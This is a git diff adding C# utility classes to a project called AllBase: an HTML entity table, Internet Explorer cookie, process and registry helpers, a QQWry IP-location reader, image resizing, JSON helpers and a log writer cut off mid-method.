HtmlEntities + { + // Fields + private static string[] _entitiesList = new string[] { + "\"-quot", "&-amp", "'-apos", "<-lt", ">-gt", "\x00a0-nbsp", "\x00a1-iexcl", "\x00a2-cent", "\x00a3-pound", "\x00a4-curren", "\x00a5-yen", "\x00a6-brvbar", "\x00a7-sect", "\x00a8-uml", "\x00a9-copy", "\x00aa-ordf", + "\x00ab-laquo", "\x00ac-not", "\x00ad-shy", "\x00ae-reg", "\x00af-macr", "\x00b0-deg", "\x00b1-plusmn", "\x00b2-sup2", "\x00b3-sup3", "\x00b4-acute", "\x00b5-micro", "\x00b6-para", "\x00b7-middot", "\x00b8-cedil", "\x00b9-sup1", "\x00ba-ordm", + "\x00bb-raquo", "\x00bc-frac14", "\x00bd-frac12", "\x00be-frac34", "\x00bf-iquest", "\x00c0-Agrave", "\x00c1-Aacute", "\x00c2-Acirc", "\x00c3-Atilde", "\x00c4-Auml", "\x00c5-Aring", "\x00c6-AElig", "\x00c7-Ccedil", "\x00c8-Egrave", "\x00c9-Eacute", "\x00ca-Ecirc", + "\x00cb-Euml", "\x00cc-Igrave", "\x00cd-Iacute", "\x00ce-Icirc", "\x00cf-Iuml", "\x00d0-ETH", "\x00d1-Ntilde", "\x00d2-Ograve", "\x00d3-Oacute", "\x00d4-Ocirc", "\x00d5-Otilde", "\x00d6-Ouml", "\x00d7-times", "\x00d8-Oslash", "\x00d9-Ugrave", "\x00da-Uacute", + "\x00db-Ucirc", "\x00dc-Uuml", "\x00dd-Yacute", "\x00de-THORN", "\x00df-szlig", "\x00e0-agrave", "\x00e1-aacute", "\x00e2-acirc", "\x00e3-atilde", "\x00e4-auml", "\x00e5-aring", "\x00e6-aelig", "\x00e7-ccedil", "\x00e8-egrave", "\x00e9-eacute", "\x00ea-ecirc", + "\x00eb-euml", "\x00ec-igrave", "\x00ed-iacute", "\x00ee-icirc", "\x00ef-iuml", "\x00f0-eth", "\x00f1-ntilde", "\x00f2-ograve", "\x00f3-oacute", "\x00f4-ocirc", "\x00f5-otilde", "\x00f6-ouml", "\x00f7-divide", "\x00f8-oslash", "\x00f9-ugrave", "\x00fa-uacute", + "\x00fb-ucirc", "\x00fc-uuml", "\x00fd-yacute", "\x00fe-thorn", "\x00ff-yuml", "Œ-OElig", "œ-oelig", "Š-Scaron", "š-scaron", "Ÿ-Yuml", "ƒ-fnof", "ˆ-circ", "˜-tilde", "Α-Alpha", "Β-Beta", "Γ-Gamma", + "Δ-Delta", "Ε-Epsilon", "Ζ-Zeta", "Η-Eta", "Θ-Theta", "Ι-Iota", "Κ-Kappa", "Λ-Lambda", "Μ-Mu", "Ν-Nu", "Ξ-Xi", "Ο-Omicron", "Π-Pi", "Ρ-Rho", "Σ-Sigma", "Τ-Tau", + "Υ-Upsilon", "Φ-Phi", "Χ-Chi", "Ψ-Psi", "Ω-Omega", "α-alpha", "β-beta", "γ-gamma", "δ-delta", "ε-epsilon", "ζ-zeta", "η-eta", "θ-theta", "ι-iota", "κ-kappa", "λ-lambda", + "μ-mu", "ν-nu", "ξ-xi", "ο-omicron", "π-pi", "ρ-rho", "ς-sigmaf", "σ-sigma", "τ-tau", "υ-upsilon", "φ-phi", "χ-chi", "ψ-psi", "ω-omega", "ϑ-thetasym", "ϒ-upsih", + "ϖ-piv", " -ensp", " -emsp", " -thinsp", "‌-zwnj", "‍-zwj", "‎-lrm", "‏-rlm", "–-ndash", "—-mdash", "‘-lsquo", "’-rsquo", "‚-sbquo", "“-ldquo", "”-rdquo", "„-bdquo", + "†-dagger", "‡-Dagger", "•-bull", "…-hellip", "‰-permil", "′-prime", "″-Prime", "‹-lsaquo", "›-rsaquo", "‾-oline", "⁄-frasl", "€-euro", "ℑ-image", "℘-weierp", "ℜ-real", "™-trade", + "ℵ-alefsym", "←-larr", "↑-uarr", "→-rarr", "↓-darr", "↔-harr", "↵-crarr", "⇐-lArr", "⇑-uArr", "⇒-rArr", "⇓-dArr", "⇔-hArr", "∀-forall", "∂-part", "∃-exist", "∅-empty", + "∇-nabla", "∈-isin", "∉-notin", "∋-ni", "∏-prod", "∑-sum", "−-minus", "∗-lowast", "√-radic", "∝-prop", "∞-infin", "∠-ang", "∧-and", "∨-or", "∩-cap", "∪-cup", + "∫-int", "∴-there4", "∼-sim", "≅-cong", "≈-asymp", "≠-ne", "≡-equiv", "≤-le", "≥-ge", "⊂-sub", "⊃-sup", "⊄-nsub", "⊆-sube", "⊇-supe", "⊕-oplus", "⊗-otimes", + "⊥-perp", "⋅-sdot", "⌈-lceil", "⌉-rceil", "⌊-lfloor", "⌋-rfloor", "〈-lang", "〉-rang", "◊-loz", "♠-spades", "♣-clubs", "♥-hearts", "♦-diams" + }; + private static Dictionary _lookupTable = GenerateLookupTable(); + + // Methods + private static Dictionary GenerateLookupTable() + { + Dictionary dictionary = new Dictionary(StringComparer.Ordinal); + foreach (string str in _entitiesList) + { + dictionary.Add(str.Substring(2), str[0]); + } + return dictionary; + } + + public static char Lookup(string entity) + { + char ch; + _lookupTable.TryGetValue(entity, out ch); + return ch; + } + } +} diff --git a/AllBase/IECookies.cs b/AllBase/IECookies.cs new file mode 100644 index 0000000..e27bf77 --- /dev/null +++ b/AllBase/IECookies.cs @@ -0,0 +1,193 @@ +using System; +using System.Diagnostics; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Text; +using System.Windows.Forms; +using Microsoft.Win32; + +namespace AllBase +{ + /// + /// IE清理程序 + /// + public static class IECookies + { + [DllImport("wininet.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern bool InternetGetCookieEx(string pchURL, string pchCookieName, StringBuilder pchCookieData, + ref System.UInt32 pcchCookieData, int dwFlags, IntPtr lpReserved); + + [DllImport("wininet.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern int InternetSetCookieEx(string lpszURL, string lpszCookieName, string lpszCookieData, + int dwFlags, IntPtr dwReserved); + + [DllImport("shell32.dll")] + static extern IntPtr ShellExecute(IntPtr hwnd, string lpOperation, string lpFile, string lpParameters, string lpDirectory, ShowCommands nShowCmd); + + + private const int INTERNET_COOKIE_HTTPONLY = 0x00002000; + + + [DllImport("wininet.dll", SetLastError = true)] + private static extern bool InternetGetCookieEx( + string url, + string cookieName, + StringBuilder cookieData, + ref int size, + int flags, + IntPtr pReserved); + /// + /// 获取当前webbrowser 下的cookies + /// + /// + /// + public static string GetCookieByWebBrowser(string url) + { + int size = 512; + StringBuilder sb = new StringBuilder(size); + if (!InternetGetCookieEx(url, null, sb, ref size, INTERNET_COOKIE_HTTPONLY, IntPtr.Zero)) + { + if (size < 0) + { + return null; + } + sb = new StringBuilder(size); + if (!InternetGetCookieEx(url, null, sb, ref size, INTERNET_COOKIE_HTTPONLY, IntPtr.Zero)) + { + return null; + } + } + return sb.ToString(); + } + /// + /// 获取webbrowser UserAgent + /// + /// + public static string GetUserAgent() + { + WebBrowser wb = new WebBrowser(); + wb.Navigate("about:blank"); + while (wb.IsBusy) Application.DoEvents(); + object window = wb.Document.Window.DomWindow; + Type wt = window.GetType(); + object navigator = wt.InvokeMember("navigator", BindingFlags.GetProperty, null, window, new object[] { }); + Type nt = navigator.GetType(); + object userAgent = nt.InvokeMember("userAgent", BindingFlags.GetProperty, null, navigator, new object[] { }); + return userAgent.ToString(); + } + + /// + /// 用IE打开网页 + /// + /// + public static void OpenUrlByIE(string url) + { + Process.Start("iexplore.exe", url); + } + /// + /// 关闭所有IE浏览器 + /// + public static void CloseIE() + { + foreach (Process thisproc in Process.GetProcesses()) + { + if (thisproc.ProcessName.ToLower() == "iexplore") + thisproc.Kill(); + } + } + + + /// + /// 获取IE下的cookies + /// + /// + /// + public static string GetCookies(string url) + { + uint datasize = 256; + StringBuilder cookieData = new StringBuilder((int)datasize); + if (!InternetGetCookieEx(url, null, cookieData, ref datasize, 0x2000, IntPtr.Zero)) + { + if (datasize < 0) + return null; + cookieData = new StringBuilder((int)datasize); + if (!InternetGetCookieEx(url, null, cookieData, ref datasize, 0x00002000, IntPtr.Zero)) + return null; + } + return cookieData.ToString(); + } + /// + /// 清除IE所有缓存 + /// + public static void ClearAll() + { + ShellExecute(IntPtr.Zero, "open", "rundll32.exe", " InetCpl.cpl,ClearMyTracksByProcess 8", "", ShowCommands.SW_HIDE); + } + + + public enum ShowCommands : int + { + SW_HIDE = 0, + SW_SHOWNOrmAL = 1, + SW_NOrmAL = 1, + SW_SHOWMINIMIZED = 2, + SW_SHOWMAXIMIZED = 3, + SW_MAXIMIZE = 3, + SW_SHOWNOACTIVATE = 4, + SW_SHOW = 5, + SW_MINIMIZE = 6, + SW_SHOWMINNOACTIVE = 7, + SW_SHOWNA = 8, + SW_RESTORE = 9, + SW_SHOWDEFAULT = 10, + SW_FORCEMINIMIZE = 11, + SW_MAX = 11 + } + /// + /// 通过注册表获取IE版本 + /// + /// + public static int GetIeVerson() + { + int mainVer = (new WebBrowser()).Version.Major; + return mainVer; + } + + /// + /// 设置WebBrower IE默认版本 + /// + /// + public static void SetWebBrowerIe(int version) + { + int de = 0x1B58; + if (version == 8) + de = 0x1F40; + if (version == 9) + de = 0x2328; + if (version == 10) + de = 0x2710; + if (version == 11) + de = 0x2af8; + + bool type = Environment.Is64BitOperatingSystem;//系统是否是64位 + var exeName = Process.GetCurrentProcess().ProcessName + ".exe"; + var hklm = Registry.LocalMachine; + string key = type + ? @"SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION" + : @"SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION"; + + try + { + var lmRun = hklm.OpenSubKey(key, true); + if (lmRun == null) + return; + lmRun.SetValue(exeName, de); //设置webbrowser调用IE最高版本内核打开 + } + catch + { + } + + } + + } +} diff --git a/AllBase/IPLocationSearch.cs b/AllBase/IPLocationSearch.cs new file mode 100644 index 0000000..c0cc0a8 --- /dev/null +++ b/AllBase/IPLocationSearch.cs @@ -0,0 +1,505 @@ +using System; +using System.IO; +using System.Text; + +namespace AllBase +{ + public class IPLocationSearch + { + private static readonly QQWry qq = new QQWry("qqwry.dat"); + + public static IPLocation GetIPLocation(string ip) + { + return qq.SearchIPLocation(ip); + } + } + + /* + 使用方法: + + 例子: + BDQQ.Data.QQWry qq=new BDQQ.Data.QQWry("d:\\QQWry.Dat"); + BDQQ.Data.IPLocation ip=qq.SearchIPLocation("127.0.0.1");//这里添写IP地址 + Console.WriteLine(ip.country);//国家 + Console.WriteLine(ip.area);//地区 + */ + + //以下是类文件 + //根据LumaQQ改写而成. + + /**/ + /// + /// QQWry 的摘要说明。 + /// + public class QQWry + { + //第一种模式 + #region 第一种模式 + /**/ + /// + ///第一种模式 + /// + #endregion + private const byte REDIRECT_MODE_1 = 0x01; + + //第二种模式 + #region 第二种模式 + /**/ + /// + ///第二种模式 + /// + #endregion + private const byte REDIRECT_MODE_2 = 0x02; + + //每条记录长度 + #region 每条记录长度 + /**/ + /// + ///每条记录长度 + /// + #endregion + private const int IP_RECORD_LENGTH = 7; + + //数据库文件 + #region 数据库文件 + /**/ + /// + ///文件对象 + /// + #endregion + private FileStream ipFile; + + private const string unCountry = "未知国家"; + private const string unArea = "未知地区"; + + //索引开始位置 + #region 索引开始位置 + /**/ + /// + ///索引开始位置 + /// + #endregion + private long ipBegin; + + //索引结束位置 + #region 索引结束位置 + /**/ + /// + ///索引结束位置 + /// + #endregion + private long ipEnd; + + //IP地址对象 + #region IP地址对象 + /**/ + /// + /// IP对象 + /// + #endregion + private IPLocation loc; + + //存储文本内容 + #region 存储文本内容 + /**/ + /// + ///存储文本内容 + /// + #endregion + private byte[] buf; + + //存储3字节 + #region 存储3字节 + /**/ + /// + ///存储3字节 + /// + #endregion + private byte[] b3; + + //存储4字节 + #region 存储4字节 + /**/ + /// + ///存储4字节IP地址 + /// + #endregion + private byte[] b4; + + //构造函数 + #region 构造函数 + /**/ + /// + ///构造函数 + /// + ///IP数据库文件绝对路径 + #endregion + public QQWry(string ipfile) + { + + buf = new byte[100]; + b3 = new byte[3]; + b4 = new byte[4]; + try + { + ipFile = new FileStream(ipfile, FileMode.Open); + } + catch (Exception ex) + { + throw new Exception(ex.Message); + } + ipBegin = readLong4(0); + ipEnd = readLong4(4); + loc = new IPLocation(); + } + + //根据IP地址搜索 + #region 根据IP地址搜索 + /**/ + /// + ///搜索IP地址搜索 + /// + /// + /// + #endregion + public IPLocation SearchIPLocation(string ip) + { + //将字符IP转换为字节 + string[] ipSp = ip.Split('.'); + if (ipSp.Length != 4) + { + throw new ArgumentOutOfRangeException("不是合法的IP地址!"); + } + byte[] IP = new byte[4]; + for (int i = 0; i < IP.Length; i++) + { + IP[i] = (byte)(Int32.Parse(ipSp[i]) & 0xFF); + } + + IPLocation local = null; + long offset = locateIP(IP); + + if (offset != -1) + { + local = getIPLocation(offset); + } + + if (local == null) + { + local = new IPLocation(); + local.area = unArea; + local.country = unCountry; + } + return local; + } + + //取得具体信息 + #region 取得具体信息 + /**/ + /// + ///取得具体信息 + /// + /// + /// + #endregion + private IPLocation getIPLocation(long offset) + { + ipFile.Position = offset + 4; + //读取第一个字节判断是否是标志字节 + byte one = (byte)ipFile.ReadByte(); + if (one == REDIRECT_MODE_1) + { + //第一种模式 + //读取国家偏移 + long countryOffset = readLong3(); + //转至偏移处 + ipFile.Position = countryOffset; + //再次检查标志字节 + byte b = (byte)ipFile.ReadByte(); + if (b == REDIRECT_MODE_2) + { + loc.country = readString(readLong3()); + ipFile.Position = countryOffset + 4; + } + else + loc.country = readString(countryOffset); + + //读取地区标志 + loc.area = readArea(ipFile.Position); + + } + else if (one == REDIRECT_MODE_2) + { + //第二种模式 + loc.country = readString(readLong3()); + loc.area = readArea(offset + 8); + } + else + { + //普通模式 + loc.country = readString(--ipFile.Position); + loc.area = readString(ipFile.Position); + } + return loc; + } + + //取得地区信息 + #region 取得地区信息 + /**/ + /// + ///读取地区名称 + /// + /// + /// + #endregion + private string readArea(long offset) + { + ipFile.Position = offset; + byte one = (byte)ipFile.ReadByte(); + if (one == REDIRECT_MODE_1 || one == REDIRECT_MODE_2) + { + long areaOffset = readLong3(offset + 1); + if (areaOffset == 0) + return unArea; + else + { + return readString(areaOffset); + } + } + else + { + return readString(offset); + } + } + + //读取字符串 + #region 读取字符串 + /**/ + /// + ///读取字符串 + /// + /// + /// + #endregion + private string readString(long offset) + { + ipFile.Position = offset; + int i = 0; + for (i = 0, buf[i] = (byte)ipFile.ReadByte(); buf[i] != (byte)(0); buf[++i] = (byte)ipFile.ReadByte()) ; + + if (i > 0) + return Encoding.Default.GetString(buf, 0, i); + else + return ""; + } + + //查找IP地址所在的绝对偏移量 + #region 查找IP地址所在的绝对偏移量 + /**/ + /// + ///查找IP地址所在的绝对偏移量 + /// + /// + /// + #endregion + private long locateIP(byte[] ip) + { + long m = 0; + int r; + + //比较第一个IP项 + readIP(ipBegin, b4); + r = compareIP(ip, b4); + if (r == 0) + return ipBegin; + else if (r < 0) + return -1; + //开始二分搜索 + for (long i = ipBegin, j = ipEnd; i < j; ) + { + m = this.getMiddleOffset(i, j); + readIP(m, b4); + r = compareIP(ip, b4); + if (r > 0) + i = m; + else if (r < 0) + { + if (m == j) + { + j -= IP_RECORD_LENGTH; + m = j; + } + else + { + j = m; + } + } + else + return readLong3(m + 4); + } + m = readLong3(m + 4); + readIP(m, b4); + r = compareIP(ip, b4); + if (r <= 0) + return m; + else + return -1; + } + + //读出4字节的IP地址 + #region 读出4字节的IP地址 + /**/ + /// + ///从当前位置读取四字节,此四字节是IP地址 + /// + /// + /// + #endregion + private void readIP(long offset, byte[] ip) + { + ipFile.Position = offset; + ipFile.Read(ip, 0, ip.Length); + byte tmp = ip[0]; + ip[0] = ip[3]; + ip[3] = tmp; + tmp = ip[1]; + ip[1] = ip[2]; + ip[2] = tmp; + } + + //比较IP地址是否相同 + #region 比较IP地址是否相同 + /**/ + /// + ///比较IP地址是否相同 + /// + /// + /// + ///0:相等,1:ip大于beginIP,-1:小于 + #endregion + private int compareIP(byte[] ip, byte[] beginIP) + { + for (int i = 0; i < 4; i++) + { + int r = compareByte(ip[i], beginIP[i]); + if (r != 0) + return r; + } + return 0; + } + + //比较两个字节是否相等 + #region 比较两个字节是否相等 + /**/ + /// + ///比较两个字节是否相等 + /// + /// + /// + /// + #endregion + private int compareByte(byte bsrc, byte bdst) + { + if ((bsrc & 0xFF) > (bdst & 0xFF)) + return 1; + else if ((bsrc ^ bdst) == 0) + return 0; + else + return -1; + } + + //根据当前位置读取4字节 + #region 根据当前位置读取4字节 + /**/ + /// + ///从当前位置读取4字节,转换为长整型 + /// + /// + /// + #endregion + private long readLong4(long offset) + { + long ret = 0; + ipFile.Position = offset; + ret |= (ipFile.ReadByte() & 0xFF); + ret |= ((ipFile.ReadByte() << 8) & 0xFF00); + ret |= ((ipFile.ReadByte() << 16) & 0xFF0000); + ret |= ((ipFile.ReadByte() << 24) & 0xFF000000); + return ret; + } + + //根据当前位置,读取3字节 + #region 根据当前位置,读取3字节 + /**/ + /// + ///根据当前位置,读取3字节 + /// + /// + /// + #endregion + private long readLong3(long offset) + { + long ret = 0; + ipFile.Position = offset; + ret |= (ipFile.ReadByte() & 0xFF); + ret |= ((ipFile.ReadByte() << 8) & 0xFF00); + ret |= ((ipFile.ReadByte() << 16) & 0xFF0000); + return ret; + } + + //从当前位置读取3字节 + #region 从当前位置读取3字节 + /**/ + /// + ///从当前位置读取3字节 + /// + /// + #endregion + private long readLong3() + { + long ret = 0; + ret |= (ipFile.ReadByte() & 0xFF); + ret |= ((ipFile.ReadByte() << 8) & 0xFF00); + ret |= ((ipFile.ReadByte() << 16) & 0xFF0000); + return ret; + } + + //取得begin和end之间的偏移量 + #region 取得begin和end之间的偏移量 + /**/ + /// + ///取得begin和end中间的偏移 + /// + /// + /// + /// + #endregion + private long getMiddleOffset(long begin, long end) + { + long records = (end - begin) / IP_RECORD_LENGTH; + records >>= 1; + if (records == 0) + records = 1; + return begin + records * IP_RECORD_LENGTH; + } + } //class QQWry + + public class IPLocation + { + public String country; + public String area; + + public IPLocation() + { + country = area = ""; + } + + public IPLocation getCopy() + { + IPLocation ret = new IPLocation(); + ret.country = country; + ret.area = area; + return ret; + } + } +} diff --git a/AllBase/ImageBuild.cs b/AllBase/ImageBuild.cs new file mode 100644 index 0000000..d56f31a --- /dev/null +++ b/AllBase/ImageBuild.cs @@ -0,0 +1,329 @@ +using System; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Drawing.Imaging; +using System.IO; +using System.Runtime.InteropServices; + +namespace AllBase +{ + public class ImageBuild + { + public byte[] Img; + public int Width = 0, Height = 0; + public Image InitImage = null; + public ImageBuild(byte[] image) + { + if (image == null || image.Length == 0) + return; + Img = image; + try + { + MemoryStream ms = new MemoryStream(Img); + InitImage = Image.FromStream(ms); + ms.Close(); + } + catch (Exception e) + { + LogSave.Add(e.Message); + } + Width = InitImage.Width; + Height = InitImage.Height; + } + /// + /// 裁剪为指定大小,不符合则返回null + /// + /// + /// + /// + public byte[] CutToSize(int width, int height) + { + if (InitImage == null) + return null; + int w = InitImage.Width; + int h = InitImage.Height; + if (w < width || h < height) + { + //return null; + width = w; + height = h; + } + int x = 0, y = 0, nw = w, nh = h; + int tx = 0, ty = 0, tw = width, th = height; + double f = w * 1.0 / width; + double t = h * 1.0 / height; + if (f == t)//无需变化 + { + } + else if (f > t)//宽度较大 + { + x = (int)(((f - t) / 2) * width); + nw = w - x * 2; + } + else//高度较大 + { + y = (int)((t - f) / 2 * height); + nh = h - y * 2; + } + Rectangle fromR = new Rectangle(x, y, nw, nh); + Rectangle toR = new Rectangle(tx, ty, tw, th); + Bitmap pickedImage = new Bitmap(width, height); + + Graphics pickedG = Graphics.FromImage(pickedImage); + pickedG.InterpolationMode = InterpolationMode.Low; + pickedG.SmoothingMode = SmoothingMode.HighSpeed; + pickedG.DrawImage(InitImage, toR, fromR, GraphicsUnit.Pixel); + //转图片后转二进制数组 + Image initImagex = (Image)pickedImage.Clone(); + MemoryStream ms = new MemoryStream(); + ImageCodecInfo icc = GetCodeInfo("1.jpg"); + + long quality = 75; + EncoderParameters ep = new EncoderParameters(1); + ep.Param[0] = new EncoderParameter(Encoder.Quality, quality); + initImagex.Save(ms, icc, ep); + byte[] bytes = ms.GetBuffer(); + return bytes; + } + + /// + /// 添加线条 + /// + /// + public void AddLineToImage(ref byte[] img) + { + MemoryStream ms = new MemoryStream(img); + var image = (Bitmap)Image.FromStream(ms); + ms.Close(); + int width = image.Width; + int height = image.Height; + if (width < 100 || height < 100) + return; + int r = Randomx.GetId(100, 256); + int b = Randomx.GetId(100, 256); + int g = Randomx.GetId(100, 256); + int h = Randomx.GetId(1, 10); + var c = Color.FromArgb(r, g, b); + for (int i = 0; i < h; i++) + { + for (int j = 0; j < height; j++) + image.SetPixel(i, j, c); + for (int j = 0; j < width; j++) + image.SetPixel(j, i, c); + } + for (int i = height - h; i < height; i++) + { + for (int j = 0; j < width; j++) + image.SetPixel(j, i, c); + } + for (int i = width - h; i < width; i++) + { + for (int j = 0; j < height; j++) + image.SetPixel(i, j, c); + } + ImageCodecInfo icc = GetCodeInfo("1.jpg"); + long quality = 75; + ms = new MemoryStream(); + EncoderParameters ep = new EncoderParameters(1); + ep.Param[0] = new EncoderParameter(Encoder.Quality, quality); + image.Save(ms, icc, ep); + img = ms.ToArray(); + //FileBase.WriteBytes("1.jpg", bytes); + } + + + /// + /// 输出固定大小图片,背景白色填充,返回JPG格式二进制代码 + /// + /// + /// + /// 最大尺寸KB + /// + public byte[] BuildNewSize(int width, int height, int maxSize) + { + if (InitImage == null) + return null; + int w = InitImage.Width; + int h = InitImage.Height; + int x = 0, y = 0, nw = w, nh = h; + int tx = 0, ty = 0, tw = width, th = height; + //先缩放 + if (w <= width && h <= height)//无需缩放 + { + tx = (width - w) / 2; + tw = w; + ty = (height - h) / 2; + th = h; + } + else if (w < width && h > height) + { + tx = (width - w) / 2; + tw = w; + y = (h - height) / 2; + nh = height; + } + else if (w > width && h < height) + { + ty = (height - h) / 2; + th = h; + x = (w - width) / 2; + nw = width; + } + else + { + double f = w * 1.0 / width; + double t = h * 1.0 / height; + if (f == t)//无需变化 + { + } + else if (f > t)//宽度较大 + { + x = (int)(((f - t) / 2) * width); + nw = w - x * 2; + } + else//高度较大 + { + y = (int)((t - f) / 2 * height); + nh = h - y * 2; + } + } + Rectangle fromR = new Rectangle(x, y, nw, nh); + Rectangle toR = new Rectangle(tx, ty, tw, th); + Bitmap pickedImage = new Bitmap(width, height); + for (int i = 0; i < pickedImage.Width; i++) + { + for (int j = 0; j < pickedImage.Height; j++) + { + Color color = Color.FromArgb(255, 255, 255); + pickedImage.SetPixel(i, j, color); + } + } + Graphics pickedG = Graphics.FromImage(pickedImage); + pickedG.InterpolationMode = InterpolationMode.Low; + pickedG.SmoothingMode = SmoothingMode.HighSpeed; + pickedG.DrawImage(InitImage, toR, fromR, GraphicsUnit.Pixel); + //转图片后转二进制数组 + Image initImagex = (Image)pickedImage.Clone(); + MemoryStream ms = new MemoryStream(); + ImageCodecInfo icc = GetCodeInfo("1.jpg"); + + long quality = 75; + EncoderParameters ep = new EncoderParameters(1); + ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality); + initImagex.Save(ms, icc, ep); + byte[] bytes = ms.GetBuffer(); + if (bytes.Length > maxSize * 1024) + { + ms = new MemoryStream(); + ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 65l); + initImagex.Save(ms, icc, ep); + bytes = ms.GetBuffer(); + } + if (bytes.Length > maxSize * 1024) + { + ms = new MemoryStream(); + ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 55l); + initImagex.Save(ms, icc, ep); + bytes = ms.GetBuffer(); + } + if (bytes.Length > maxSize * 1024) + { + return null; + } + //ImageCodecInfo icc = GetCodeInfo("1.jpg"); + //initImagex.Save("22.jpg", icc, ep); + return bytes; + } + /// + /// 根据路劲得出图片编码信息 + /// + /// + /// + public ImageCodecInfo GetCodeInfo(string path) + { + string exe = path.Split('.')[path.Split('.').Length - 1].ToLower(); + ImageCodecInfo[] icis = ImageCodecInfo.GetImageEncoders(); + ImageCodecInfo ici = null, defCodecInfo = null; + foreach (ImageCodecInfo i in icis) + { + if (i.MimeType == "image/jpeg") + defCodecInfo = i; + if ((exe == "jpg" || exe == "jpeg") && i.MimeType == "image/jpeg") + { + ici = i; + } + if (exe == "bmp" && i.MimeType == "image/bmp") + { + ici = i; + } + if (exe == "png" && i.MimeType == "image/png") + { + ici = i; + } + if (exe == "gif" && i.MimeType == "image/gif") + { + ici = i; + } + } + if (ici == null) + ici = defCodecInfo; + return ici; + } + + /// + /// image 大小转换 + /// + /// + /// + /// + public static System.Drawing.Image resizeImage(System.Drawing.Image imgToResize, Size size) + { + //获取图片宽度 + int sourceWidth = imgToResize.Width; + //获取图片高度 + int sourceHeight = imgToResize.Height; + + float nPercent = 0; + float nPercentW = 0; + float nPercentH = 0; + //计算宽度的缩放比例 + nPercentW = ((float)size.Width / (float)sourceWidth); + //计算高度的缩放比例 + nPercentH = ((float)size.Height / (float)sourceHeight); + + if (nPercentH < nPercentW) + nPercent = nPercentH; + else + nPercent = nPercentW; + //期望的宽度 + int destWidth = (int)(sourceWidth * nPercent); + //期望的高度 + int destHeight = (int)(sourceHeight * nPercent); + + Bitmap b = new Bitmap(destWidth, destHeight); + Graphics g = Graphics.FromImage((System.Drawing.Image)b); + g.InterpolationMode = InterpolationMode.HighQualityBicubic; + //绘制图像 + g.DrawImage(imgToResize, 0, 0, destWidth, destHeight); + g.Dispose(); + return (System.Drawing.Image)b; + } + + [DllImport("gdi32.dll")] + public static extern bool DeleteObject(IntPtr hObject); + /// + /// 将Image转换为Ico + /// + /// + /// + /// + public static Icon ConvertToIcon(Image image) + { + Bitmap bmp = new Bitmap(image); + IntPtr h = bmp.GetHicon(); + Icon icon = Icon.FromHandle(h); + DeleteObject(h); + return icon; + } + } +} diff --git a/AllBase/JsonHelper.cs b/AllBase/JsonHelper.cs new file mode 100644 index 0000000..f6e003b --- /dev/null +++ b/AllBase/JsonHelper.cs @@ -0,0 +1,78 @@ +/* + * json 帮助类 + * 肖俊 + * 2017-7-11 + * + */ +using System.Collections.Generic; +using System.IO; +using Newtonsoft.Json; + +namespace AllBase +{ + /// + /// Json帮助类 + /// + public static class JsonHelper + { + /// + /// 将对象序列化为JSON格式 + /// + /// 对象 + /// json字符串 + public static string SerializeObject(object o) + { + string json = JsonConvert.SerializeObject(o); + return json; + } + + /// + /// 解析JSON字符串生成对象实体 + /// + /// 对象类型 + /// json字符串(eg.{"ID":"112","Name":"石子儿"}) + /// 对象实体 + public static T DeserializeJsonToObject(string json) where T : class + { + JsonSerializer serializer = new JsonSerializer(); + StringReader sr = new StringReader(json); + object o = serializer.Deserialize(new JsonTextReader(sr), typeof(T)); + T t = o as T; + return t; + } + + /// + /// 解析JSON数组生成对象实体集合 + /// + /// 对象类型 + /// json数组字符串(eg.[{"ID":"112","Name":"石子儿"}]) + /// 对象实体集合 + public static List DeserializeJsonToList(string json) where T : class + { + JsonSerializer serializer = new JsonSerializer(); + StringReader sr = new StringReader(json); + object o = serializer.Deserialize(new JsonTextReader(sr), typeof(List)); + List list = o as List; + return list; + } + + /// + /// 反序列化JSON到给定的匿名对象. + /// + /// 匿名对象类型 + /// json字符串 + /// 匿名对象 + /// 匿名对象 + public static T DeserializeAnonymousType(string json, T anonymousTypeObject) + { + T t = JsonConvert.DeserializeAnonymousType(json, anonymousTypeObject); + return t; + } + + public static object JsonToObject(string jsonString) + { + return JsonConvert.DeserializeObject(jsonString); + } + + } +} diff --git a/AllBase/LogSave.cs b/AllBase/LogSave.cs new file mode 100644 index 0000000..79bae58 --- /dev/null +++ b/AllBase/LogSave.cs @@ -0,0 +1,211 @@ +/* + * 日志记录 + * 肖俊 + * 2015-3-13 + */ + +using System; +using System.Collections.Generic; +using System.IO; +using System.Threading; +using System.Windows.Forms; + +namespace AllBase +{ + public class LogSave + { + /// + /// 显示当前流程信息 key 1:拼团 2:拍单 3:售后 + /// + public static Dictionary> ShowMsg = new Dictionary>(); + + /// + /// 消息日志 + /// + public static Dictionary> Messages = new Dictionary>(); + + /// + /// 日志队列 + /// + private static List Logs = new List(); + + /// + /// 准备写入文件 + /// + public static List ImageTemp = new List(); + + /// + /// 初始化 + /// + public LogSave() + { + FileBase.DirectoryCreate(Application.StartupPath + "\\log\\"); + FileBase.DirectoryCreate(Application.StartupPath + "\\temp\\"); + FileBase.DirectoryCreate(Application.StartupPath + "\\temp\\province\\"); + + string[] l = Directory.GetFiles(Application.StartupPath + "\\log\\"); + for (int i = 0; i < l.Length; i++) + { + string name = Path.GetFileName(l[i]); + string date = BaseRegex.GetMatchRegexString(ref name, @"([\d]{4}-[\d]{1,2}-[\d]{1,2})"); + DateTime d; + if (DateTime.TryParse(date, out d)) + { + if (d < DateTime.Now.AddDays(-7)) + { + FileBase.Delete(l[i]); + } + } + } + } + /// + /// 服务 + /// + public void Get() + { + string temp; + while (true) + { + if (Logs.Count == 0) + { + Thread.Sleep(10000); + continue; + } + temp = ""; + while (Logs.Count > 0) + { + try + { + if (string.IsNullOrEmpty(Logs[0])) + continue; + temp += Logs[0] + "\r\n"; + Logs.RemoveAt(0); + } + catch + { + } + } + if (string.IsNullOrEmpty(temp)) + continue; + string patch = "log\\" + DateTime.Now.ToString("yyyy-MM-dd") + ".log"; + try + { + File.AppendAllText(patch, DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") + "\r\n" + temp); + } + catch (Exception e) + { + if (e.Message.Contains("空间")) + return; + Thread.Sleep(500);//重试一次 + 